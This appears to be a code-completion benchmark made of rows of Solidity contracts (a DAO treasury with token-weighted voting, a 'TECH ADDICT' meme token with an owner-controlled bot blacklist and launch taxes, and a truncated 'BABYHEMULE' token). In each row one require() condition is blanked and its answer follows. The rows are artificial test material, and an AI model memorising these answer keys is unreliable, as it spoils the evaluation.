function swapExactETHForTokensSupportingFeeOnTransferTokens(uint amountOutMin,address[] calldata path,address to,uint deadline) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(uint amountIn,uint amountOutMin,address[] calldata path,address to,uint deadline) external;
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
}
interface IUniswapV2Pair {
function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
}
contract NFATreasury is ReentrancyGuard {
/////////////////////////////////// DAO Stuff //////////////////////////////////////
address public owner;
uint256 public nextProposal;
uint256 public nextVote;
uint256 public nextPosition;
uint256 public nextBurn;
uint256 public treasuryProfitsEth;
address public burnAddress;
address[] public validTokens;
IdaoContract daoContract;
constructor () {
}
struct option {
uint256 id;
bool exists;
string option;
uint256 totalvotes;
}
struct proposal {
uint256 id;
bool exists;
string description;
uint deadline;
bool countConducted;
bool open;
mapping(address => bool) voteStatus;
uint256 numberOfOptions;
mapping(uint256 => option) options;
uint256 totalVotes;
}
struct vote {
uint256 id;
bool exists;
address voter1;
uint256 proposal;
uint256 votedFor;
}
struct position {
uint256 id;
bool exists;
string symbol;
address tokenAddress;
uint256 currentTokenPrice;
uint256 amountOfEthBought;
}
struct burn {
uint256 id;
bool exists;
uint256 amountOfEth;
uint256 amountOfTokensBought;
address tokenAddress;
}
mapping(uint256 => proposal) public Proposals;
mapping(uint256 => vote) public Votes;
mapping(uint256 => position) public Positions;
mapping(uint256 => burn) public Burns;
modifier onlyOwner {
}
function checkProposalEligibility(address _proposalist) private view returns (
bool
){
}
function createProposal (string memory _description, string memory _token1, string memory _token2, string memory _token3, string memory _token4, string memory _token5) external onlyOwner {
}
function AddOption(uint256 _proposalId, string memory _tokenSymbol) external {
require(<FILL_ME>)
require(Proposals[_proposalId].exists, "This proposal doesn't exist.");
proposal storage p = Proposals[_proposalId];
option storage newOption = p.options[p.numberOfOptions + 1];
newOption.id = p.numberOfOptions + 1;
newOption.exists = true;
newOption.option = _tokenSymbol;
newOption.totalvotes = 0;
p.numberOfOptions++;
}
function VoteOnProposal(uint256 _proposalId, uint256 _optionId) external {
}
function countVotes(uint256 _proposalId) external onlyOwner {
}
function getOption(uint256 _proposalId, uint256 _optionId) public view returns(uint256, bool, string memory, uint256) {
}
/////////////////////////////////// Swap Stuff //////////////////////////////////////
address _UniswapV2Router = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; // Goerli And Mainnet;
IUniswapV2Router02 router = IUniswapV2Router02(_UniswapV2Router);
address WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2; // Mainnet
function buyTokenWithEth(address _tokenToBuy, uint256 _amountEth, string memory _symbol, uint256 _tokenPrice) public onlyOwner {
}
function sellSpecificTokenForEth(address _tokenToSell, uint256 _positionProfitEth) public onlyOwner {
}
function buyBackAndBurn(address _tokenToBuy, uint256 _amountEth) public onlyOwner {
}
receive() external payable {
}
function withdrawEth() external onlyOwner {
}
}
| checkProposalEligibility(msg.sender),'You need to hold at least 100,000,000 $NFA to add options.' | 206,545 | checkProposalEligibility(msg.sender) |
"This proposal doesn't exist." | pragma solidity ^0.8.0;
interface IERC20 {
function balanceOf(address account) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
function totalSupply() external view returns (uint256);
}
interface IdaoContract {
function balanceOf(address account) external view returns (uint256);
}
interface IUniswapV2Router02 {
function swapExactETHForTokensSupportingFeeOnTransferTokens(uint amountOutMin,address[] calldata path,address to,uint deadline) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(uint amountIn,uint amountOutMin,address[] calldata path,address to,uint deadline) external;
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
}
interface IUniswapV2Pair {
function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
}
contract NFATreasury is ReentrancyGuard {
/////////////////////////////////// DAO Stuff //////////////////////////////////////
address public owner;
uint256 public nextProposal;
uint256 public nextVote;
uint256 public nextPosition;
uint256 public nextBurn;
uint256 public treasuryProfitsEth;
address public burnAddress;
address[] public validTokens;
IdaoContract daoContract;
constructor () {
}
struct option {
uint256 id;
bool exists;
string option;
uint256 totalvotes;
}
struct proposal {
uint256 id;
bool exists;
string description;
uint deadline;
bool countConducted;
bool open;
mapping(address => bool) voteStatus;
uint256 numberOfOptions;
mapping(uint256 => option) options;
uint256 totalVotes;
}
struct vote {
uint256 id;
bool exists;
address voter1;
uint256 proposal;
uint256 votedFor;
}
struct position {
uint256 id;
bool exists;
string symbol;
address tokenAddress;
uint256 currentTokenPrice;
uint256 amountOfEthBought;
}
struct burn {
uint256 id;
bool exists;
uint256 amountOfEth;
uint256 amountOfTokensBought;
address tokenAddress;
}
mapping(uint256 => proposal) public Proposals;
mapping(uint256 => vote) public Votes;
mapping(uint256 => position) public Positions;
mapping(uint256 => burn) public Burns;
modifier onlyOwner {
}
function checkProposalEligibility(address _proposalist) private view returns (
bool
){
}
function createProposal (string memory _description, string memory _token1, string memory _token2, string memory _token3, string memory _token4, string memory _token5) external onlyOwner {
}
function AddOption(uint256 _proposalId, string memory _tokenSymbol) external {
require(checkProposalEligibility(msg.sender), 'You need to hold at least 100,000,000 $NFA to add options.');
require(<FILL_ME>)
proposal storage p = Proposals[_proposalId];
option storage newOption = p.options[p.numberOfOptions + 1];
newOption.id = p.numberOfOptions + 1;
newOption.exists = true;
newOption.option = _tokenSymbol;
newOption.totalvotes = 0;
p.numberOfOptions++;
}
function VoteOnProposal(uint256 _proposalId, uint256 _optionId) external {
}
function countVotes(uint256 _proposalId) external onlyOwner {
}
function getOption(uint256 _proposalId, uint256 _optionId) public view returns(uint256, bool, string memory, uint256) {
}
/////////////////////////////////// Swap Stuff //////////////////////////////////////
address _UniswapV2Router = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; // Goerli And Mainnet;
IUniswapV2Router02 router = IUniswapV2Router02(_UniswapV2Router);
address WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2; // Mainnet
function buyTokenWithEth(address _tokenToBuy, uint256 _amountEth, string memory _symbol, uint256 _tokenPrice) public onlyOwner {
}
function sellSpecificTokenForEth(address _tokenToSell, uint256 _positionProfitEth) public onlyOwner {
}
function buyBackAndBurn(address _tokenToBuy, uint256 _amountEth) public onlyOwner {
}
receive() external payable {
}
function withdrawEth() external onlyOwner {
}
}
| Proposals[_proposalId].exists,"This proposal doesn't exist." | 206,545 | Proposals[_proposalId].exists |
"This option doesn't exist." | pragma solidity ^0.8.0;
interface IERC20 {
function balanceOf(address account) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
function totalSupply() external view returns (uint256);
}
interface IdaoContract {
function balanceOf(address account) external view returns (uint256);
}
interface IUniswapV2Router02 {
function swapExactETHForTokensSupportingFeeOnTransferTokens(uint amountOutMin,address[] calldata path,address to,uint deadline) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(uint amountIn,uint amountOutMin,address[] calldata path,address to,uint deadline) external;
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
}
interface IUniswapV2Pair {
function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
}
contract NFATreasury is ReentrancyGuard {
/////////////////////////////////// DAO Stuff //////////////////////////////////////
address public owner;
uint256 public nextProposal;
uint256 public nextVote;
uint256 public nextPosition;
uint256 public nextBurn;
uint256 public treasuryProfitsEth;
address public burnAddress;
address[] public validTokens;
IdaoContract daoContract;
constructor () {
}
struct option {
uint256 id;
bool exists;
string option;
uint256 totalvotes;
}
struct proposal {
uint256 id;
bool exists;
string description;
uint deadline;
bool countConducted;
bool open;
mapping(address => bool) voteStatus;
uint256 numberOfOptions;
mapping(uint256 => option) options;
uint256 totalVotes;
}
struct vote {
uint256 id;
bool exists;
address voter1;
uint256 proposal;
uint256 votedFor;
}
struct position {
uint256 id;
bool exists;
string symbol;
address tokenAddress;
uint256 currentTokenPrice;
uint256 amountOfEthBought;
}
struct burn {
uint256 id;
bool exists;
uint256 amountOfEth;
uint256 amountOfTokensBought;
address tokenAddress;
}
mapping(uint256 => proposal) public Proposals;
mapping(uint256 => vote) public Votes;
mapping(uint256 => position) public Positions;
mapping(uint256 => burn) public Burns;
modifier onlyOwner {
}
function checkProposalEligibility(address _proposalist) private view returns (
bool
){
}
function createProposal (string memory _description, string memory _token1, string memory _token2, string memory _token3, string memory _token4, string memory _token5) external onlyOwner {
}
function AddOption(uint256 _proposalId, string memory _tokenSymbol) external {
}
function VoteOnProposal(uint256 _proposalId, uint256 _optionId) external {
require(checkProposalEligibility(msg.sender), 'You need to hold at least 100,000,000 $NFA to put forth votes.');
require(Proposals[_proposalId].exists, "This proposal doesn't exist.");
require(<FILL_ME>)
require(!Proposals[_proposalId].voteStatus[msg.sender], 'You have already voted on this proposal.');
require(block.number <= Proposals[_proposalId].deadline, 'The deadline has passed for this proposal.');
uint256 tokenBalance = daoContract.balanceOf(msg.sender);
uint256 minimumBalanceForOneVote = 100000000000000000;
uint256 userVoteValue = tokenBalance / minimumBalanceForOneVote;
proposal storage p = Proposals[_proposalId];
option storage o = p.options[_optionId];
o.totalvotes = o.totalvotes + userVoteValue;
p.totalVotes = p.totalVotes + userVoteValue;
p.voteStatus[msg.sender] = true;
vote storage newVote1 = Votes[nextVote];
newVote1.id = nextVote;
newVote1.exists = true;
newVote1.voter1 = msg.sender;
newVote1.proposal = _proposalId;
newVote1.votedFor = _optionId;
nextVote++;
}
function countVotes(uint256 _proposalId) external onlyOwner {
}
function getOption(uint256 _proposalId, uint256 _optionId) public view returns(uint256, bool, string memory, uint256) {
}
/////////////////////////////////// Swap Stuff //////////////////////////////////////
address _UniswapV2Router = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; // Goerli And Mainnet;
IUniswapV2Router02 router = IUniswapV2Router02(_UniswapV2Router);
address WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2; // Mainnet
function buyTokenWithEth(address _tokenToBuy, uint256 _amountEth, string memory _symbol, uint256 _tokenPrice) public onlyOwner {
}
function sellSpecificTokenForEth(address _tokenToSell, uint256 _positionProfitEth) public onlyOwner {
}
function buyBackAndBurn(address _tokenToBuy, uint256 _amountEth) public onlyOwner {
}
receive() external payable {
}
function withdrawEth() external onlyOwner {
}
}
| Proposals[_proposalId].options[_optionId].exists,"This option doesn't exist." | 206,545 | Proposals[_proposalId].options[_optionId].exists |
'You have already voted on this proposal.' | pragma solidity ^0.8.0;
interface IERC20 {
function balanceOf(address account) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
function totalSupply() external view returns (uint256);
}
interface IdaoContract {
function balanceOf(address account) external view returns (uint256);
}
interface IUniswapV2Router02 {
function swapExactETHForTokensSupportingFeeOnTransferTokens(uint amountOutMin,address[] calldata path,address to,uint deadline) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(uint amountIn,uint amountOutMin,address[] calldata path,address to,uint deadline) external;
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
}
interface IUniswapV2Pair {
function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
}
contract NFATreasury is ReentrancyGuard {
/////////////////////////////////// DAO Stuff //////////////////////////////////////
address public owner;
uint256 public nextProposal;
uint256 public nextVote;
uint256 public nextPosition;
uint256 public nextBurn;
uint256 public treasuryProfitsEth;
address public burnAddress;
address[] public validTokens;
IdaoContract daoContract;
constructor () {
}
struct option {
uint256 id;
bool exists;
string option;
uint256 totalvotes;
}
struct proposal {
uint256 id;
bool exists;
string description;
uint deadline;
bool countConducted;
bool open;
mapping(address => bool) voteStatus;
uint256 numberOfOptions;
mapping(uint256 => option) options;
uint256 totalVotes;
}
struct vote {
uint256 id;
bool exists;
address voter1;
uint256 proposal;
uint256 votedFor;
}
struct position {
uint256 id;
bool exists;
string symbol;
address tokenAddress;
uint256 currentTokenPrice;
uint256 amountOfEthBought;
}
struct burn {
uint256 id;
bool exists;
uint256 amountOfEth;
uint256 amountOfTokensBought;
address tokenAddress;
}
mapping(uint256 => proposal) public Proposals;
mapping(uint256 => vote) public Votes;
mapping(uint256 => position) public Positions;
mapping(uint256 => burn) public Burns;
modifier onlyOwner {
}
function checkProposalEligibility(address _proposalist) private view returns (
bool
){
}
function createProposal (string memory _description, string memory _token1, string memory _token2, string memory _token3, string memory _token4, string memory _token5) external onlyOwner {
}
function AddOption(uint256 _proposalId, string memory _tokenSymbol) external {
}
function VoteOnProposal(uint256 _proposalId, uint256 _optionId) external {
require(checkProposalEligibility(msg.sender), 'You need to hold at least 100,000,000 $NFA to put forth votes.');
require(Proposals[_proposalId].exists, "This proposal doesn't exist.");
require(Proposals[_proposalId].options[_optionId].exists, "This option doesn't exist.");
require(<FILL_ME>)
require(block.number <= Proposals[_proposalId].deadline, 'The deadline has passed for this proposal.');
uint256 tokenBalance = daoContract.balanceOf(msg.sender);
uint256 minimumBalanceForOneVote = 100000000000000000;
uint256 userVoteValue = tokenBalance / minimumBalanceForOneVote;
proposal storage p = Proposals[_proposalId];
option storage o = p.options[_optionId];
o.totalvotes = o.totalvotes + userVoteValue;
p.totalVotes = p.totalVotes + userVoteValue;
p.voteStatus[msg.sender] = true;
vote storage newVote1 = Votes[nextVote];
newVote1.id = nextVote;
newVote1.exists = true;
newVote1.voter1 = msg.sender;
newVote1.proposal = _proposalId;
newVote1.votedFor = _optionId;
nextVote++;
}
function countVotes(uint256 _proposalId) external onlyOwner {
}
function getOption(uint256 _proposalId, uint256 _optionId) public view returns(uint256, bool, string memory, uint256) {
}
/////////////////////////////////// Swap Stuff //////////////////////////////////////
address _UniswapV2Router = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; // Goerli And Mainnet;
IUniswapV2Router02 router = IUniswapV2Router02(_UniswapV2Router);
address WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2; // Mainnet
function buyTokenWithEth(address _tokenToBuy, uint256 _amountEth, string memory _symbol, uint256 _tokenPrice) public onlyOwner {
}
function sellSpecificTokenForEth(address _tokenToSell, uint256 _positionProfitEth) public onlyOwner {
}
function buyBackAndBurn(address _tokenToBuy, uint256 _amountEth) public onlyOwner {
}
receive() external payable {
}
function withdrawEth() external onlyOwner {
}
}
| !Proposals[_proposalId].voteStatus[msg.sender],'You have already voted on this proposal.' | 206,545 | !Proposals[_proposalId].voteStatus[msg.sender] |
'Count already conducted.' | pragma solidity ^0.8.0;
interface IERC20 {
function balanceOf(address account) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
function totalSupply() external view returns (uint256);
}
interface IdaoContract {
function balanceOf(address account) external view returns (uint256);
}
interface IUniswapV2Router02 {
function swapExactETHForTokensSupportingFeeOnTransferTokens(uint amountOutMin,address[] calldata path,address to,uint deadline) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(uint amountIn,uint amountOutMin,address[] calldata path,address to,uint deadline) external;
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
}
interface IUniswapV2Pair {
function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
}
contract NFATreasury is ReentrancyGuard {
/////////////////////////////////// DAO Stuff //////////////////////////////////////
address public owner;
uint256 public nextProposal;
uint256 public nextVote;
uint256 public nextPosition;
uint256 public nextBurn;
uint256 public treasuryProfitsEth;
address public burnAddress;
address[] public validTokens;
IdaoContract daoContract;
constructor () {
}
struct option {
uint256 id;
bool exists;
string option;
uint256 totalvotes;
}
struct proposal {
uint256 id;
bool exists;
string description;
uint deadline;
bool countConducted;
bool open;
mapping(address => bool) voteStatus;
uint256 numberOfOptions;
mapping(uint256 => option) options;
uint256 totalVotes;
}
struct vote {
uint256 id;
bool exists;
address voter1;
uint256 proposal;
uint256 votedFor;
}
struct position {
uint256 id;
bool exists;
string symbol;
address tokenAddress;
uint256 currentTokenPrice;
uint256 amountOfEthBought;
}
struct burn {
uint256 id;
bool exists;
uint256 amountOfEth;
uint256 amountOfTokensBought;
address tokenAddress;
}
mapping(uint256 => proposal) public Proposals;
mapping(uint256 => vote) public Votes;
mapping(uint256 => position) public Positions;
mapping(uint256 => burn) public Burns;
modifier onlyOwner {
}
function checkProposalEligibility(address _proposalist) private view returns (
bool
){
}
function createProposal (string memory _description, string memory _token1, string memory _token2, string memory _token3, string memory _token4, string memory _token5) external onlyOwner {
}
function AddOption(uint256 _proposalId, string memory _tokenSymbol) external {
}
function VoteOnProposal(uint256 _proposalId, uint256 _optionId) external {
}
function countVotes(uint256 _proposalId) external onlyOwner {
require(Proposals[_proposalId].exists, 'This proposal does not exist.');
require(block.number > Proposals[_proposalId].deadline, 'Voting has not concluted.');
require(<FILL_ME>)
proposal storage p = Proposals[_proposalId];
p.countConducted = true;
}
function getOption(uint256 _proposalId, uint256 _optionId) public view returns(uint256, bool, string memory, uint256) {
}
/////////////////////////////////// Swap Stuff //////////////////////////////////////
address _UniswapV2Router = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; // Goerli And Mainnet;
IUniswapV2Router02 router = IUniswapV2Router02(_UniswapV2Router);
address WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2; // Mainnet
function buyTokenWithEth(address _tokenToBuy, uint256 _amountEth, string memory _symbol, uint256 _tokenPrice) public onlyOwner {
}
function sellSpecificTokenForEth(address _tokenToSell, uint256 _positionProfitEth) public onlyOwner {
}
function buyBackAndBurn(address _tokenToBuy, uint256 _amountEth) public onlyOwner {
}
receive() external payable {
}
function withdrawEth() external onlyOwner {
}
}
| !Proposals[_proposalId].countConducted,'Count already conducted.' | 206,545 | !Proposals[_proposalId].countConducted |
null | /**
**/
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.15;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
}
function owner() public view returns (address) {
}
modifier onlyOwner() {
}
function renounceOwnership() public virtual onlyOwner {
}
}
interface IUniFactory {
function createPair(address tokenA, address tokenB) external returns (address pair);
function getPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniRouter {
function factoryV2() external pure returns (address);
function factory() external pure returns (address);
function WETH() external pure returns (address);
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract ADDICT is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private _bots;
mapping(address => uint256) private _holderLastTransferTimestamp;
IUniRouter private _uniRouter;
address private _uniPair;
address payable private _taxWallet;
bool public transferDelayEnabled = true;
uint256 public finalBuyTax = 1;
uint256 public finalSellTax = 1;
uint256 private _initialBuyTax = 20;
uint256 private _initialSellTax = 30;
uint256 private _reduceBuyTaxAt = 25;
uint256 private _reduceSellTaxAt = 25;
uint256 private _preventSwapBefore = 30;
uint256 private _buyCount = 0;
string private constant _name = "TECH ADDICT";
string private constant _symbol = "ADDICT";
uint8 private constant _decimals = 18;
uint256 private constant _tTotal = 420_690_000_000_000 * 10 ** _decimals;
bool private _tradingOpen;
uint256 public maxWalletSize = _tTotal * 3 / 100;
uint256 public maxTxAmount = _tTotal * 2 / 100;
uint256 private _taxSwapThreshold = _tTotal * 6 / 1000;
uint256 private _maxTaxSwap = _tTotal * 6 / 1000;
bool private _inSwap = false;
bool private _swapEnabled = false;
modifier lockTheSwap {
}
constructor () {
}
function name() public pure returns (string memory) {
}
function symbol() public pure returns (string memory) {
}
function decimals() public pure returns (uint8) {
}
function totalSupply() public pure override returns (uint256) {
}
function balanceOf(address account) public view override returns (uint256) {
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
}
function allowance(address owner, address spender) public view override returns (uint256) {
}
function approve(address spender, uint256 amount) public override returns (bool) {
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
}
function _approve(address owner, address spender, uint256 amount) private {
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
uint256 taxAmount = 0;
if (from != owner() && to != owner()) {
require(<FILL_ME>)
if (transferDelayEnabled) {
if (to != address(_uniRouter) && to != address(_uniPair)) {
require(_holderLastTransferTimestamp[tx.origin] < block.number, "Only one transfer per block allowed.");
_holderLastTransferTimestamp[tx.origin] = block.number;
}
}
// buy with limit
if (from == _uniPair && to != address(_uniRouter) && !_isExcludedFromFee[to] ) {
require(_tradingOpen, "not open pls wait");
require(amount <= maxTxAmount, "Exceeds the maxTxAmount.");
require(balanceOf(to) + amount <= maxWalletSize, "Exceeds the maxWalletSize.");
_buyCount++;
}
// buy
if (from == _uniPair && !_isExcludedFromFee[to] ) {
taxAmount = amount.mul((_buyCount > _reduceBuyTaxAt) ? finalBuyTax : _initialBuyTax).div(100);
}
else if (to == _uniPair && !_isExcludedFromFee[from] ) { // sell
taxAmount = amount.mul((_buyCount>_reduceSellTaxAt) ? finalSellTax : _initialSellTax).div(100);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!_inSwap && to == _uniPair && _swapEnabled && contractTokenBalance > _taxSwapThreshold && _buyCount > _preventSwapBefore) {
_swapTokensForEth(_min(amount, _min(contractTokenBalance, _maxTaxSwap)));
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
_sendETHToFee(address(this).balance);
}
}
}
if (taxAmount > 0) {
_balances[address(this)] = _balances[address(this)].add(taxAmount);
emit Transfer(from, address(this), taxAmount);
}
_balances[from] = _balances[from].sub(amount);
_balances[to] = _balances[to].add(amount.sub(taxAmount));
emit Transfer(from, to, amount.sub(taxAmount));
}
function _min(uint256 a, uint256 b) private pure returns (uint256){
}
function _swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
}
function _sendETHToFee(uint256 amount) private {
}
function removeLimits() public onlyOwner{
}
function isBot(address a) public view returns (bool){
}
function setBots(address[] memory bots_, bool enable_) public onlyOwner {
}
function goTech() external onlyOwner() {
}
receive() external payable {}
function manualSwap() external {
}
}
| !_bots[from]&&!_bots[to] | 206,636 | !_bots[from]&&!_bots[to] |
null | /**
*/
/**
*/
//SPDX-License-Identifier: MIT
/**
https://t.me/BABYHEMULE
https://twitter.com/BABYHEMULE_ETH
*/
pragma solidity 0.8.19;
pragma experimental ABIEncoderV2;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
}
function _msgData() internal view virtual returns (bytes calldata) {
}
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
}
modifier onlyOwner() {
}
function owner() public view virtual returns (address) {
}
function _checkOwner() internal view virtual {
}
function renounceOwnership() public virtual onlyOwner {
}
function transferOwnership(address newOwner) public virtual onlyOwner {
}
function _transferOwnership(address newOwner) internal virtual {
}
}
interface IERC20 {
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address to, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address from, address to, uint256 amount) external returns (bool);
}
interface IERC20Metadata is IERC20 {
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
}
interface IUniswapV2Factory {
event PairCreated(
address indexed token0,
address indexed token1,
address pair,
uint256
);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function getPair(address tokenA, address tokenB)
external
view
returns (address pair);
function allPairs(uint256) external view returns (address pair);
function allPairsLength() external view returns (uint256);
function createPair(address tokenA, address tokenB)
external
returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
}
interface IUniswapV2Pair {
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
event Transfer(address indexed from, address indexed to, uint256 value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint256);
function balanceOf(address owner) external view returns (uint256);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 value) external returns (bool);
function transfer(address to, uint256 value) external returns (bool);
function transferFrom(
address from,
address to,
uint256 value
) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint256);
function permit(
address owner,
address spender,
uint256 value,
uint256 deadline,
uint8 v,
bytes32 r,
bytes32 s
) external;
event Mint(address indexed sender, uint256 amount0, uint256 amount1);
event Swap(
address indexed sender,
uint256 amount0In,
uint256 amount1In,
uint256 amount0Out,
uint256 amount1Out,
address indexed to
);
event Sync(uint112 reserve0, uint112 reserve1);
function MINIMUM_LIQUIDITY() external pure returns (uint256);
function factory() external view returns (address);
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves()
external
view
returns (
uint112 reserve0,
uint112 reserve1,
uint32 blockTimestampLast
);
function price0CumulativeLast() external view returns (uint256);
function price1CumulativeLast() external view returns (uint256);
function kLast() external view returns (uint256);
function mint(address to) external returns (uint256 liquidity);
function swap(
uint256 amount0Out,
uint256 amount1Out,
address to,
bytes calldata data
) external;
function skim(address to) external;
function sync() external;
function initialize(address, address) external;
}
interface IUniswapV2Router02 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint256 amountADesired,
uint256 amountBDesired,
uint256 amountAMin,
uint256 amountBMin,
address to,
uint256 deadline
)
external
returns (
uint256 amountA,
uint256 amountB,
uint256 liquidity
);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
}
library SafeMath {
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
}
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
}
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
}
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
}
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
}
